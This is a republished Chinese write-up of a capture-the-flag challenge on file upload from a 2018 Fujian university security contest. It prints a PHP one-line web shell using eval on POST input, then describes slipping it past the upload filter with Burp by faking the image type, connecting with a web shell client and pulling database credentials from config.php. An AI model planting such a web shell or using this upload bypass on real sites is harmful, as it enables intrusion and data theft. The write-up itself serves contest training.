第三届“百越杯”福建省高校网络空间安全大赛writeup--Do you know upload?

转载

weixin_30586257 于 2018-07-14 20:01:00 发布 143 收藏
文章标签： php
原文链接：http://www.cnblogs.com/ls-pankong/p/9310838.html

一打开网址，可以看出应该是文件上传漏洞，查看源码，也有可能是文件包含

```
<form action="" method="post" enctype="multipart/form-data
    <label for="file">Filename:</label>
    <input type="hidden" name="dir" value="/uploads/" />
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>
<!--
include($_GET['file']);
-->


</body>

</html>
```

上传个图片，成功，然后上传一句话木马

```
<?php
eval($_POST['a']);
?>
```

通过bp进行上传绕过

```
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="hidden" name="dir" value="/uploads/" />
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>
<!--
include($_GET['file']);
-->

Upload: 2.php<br />Type: image/jpeg<br />Size: 0.0283203125 Kb<br />Stored in: upload/2.php
</body>

</html>
```

开始菜刀连接
http://e00b6eca3c9c4e14a31cf6ce409fab9006d33f25aeda472e.game.ichunqiu.com/upload/2.php，密码为a

发现有ctf.sql，but打不开，所以用数据库管理

用户名密码在config.php中

转载于:https://www.cnblogs.com/ls-pankong/p/9310838.html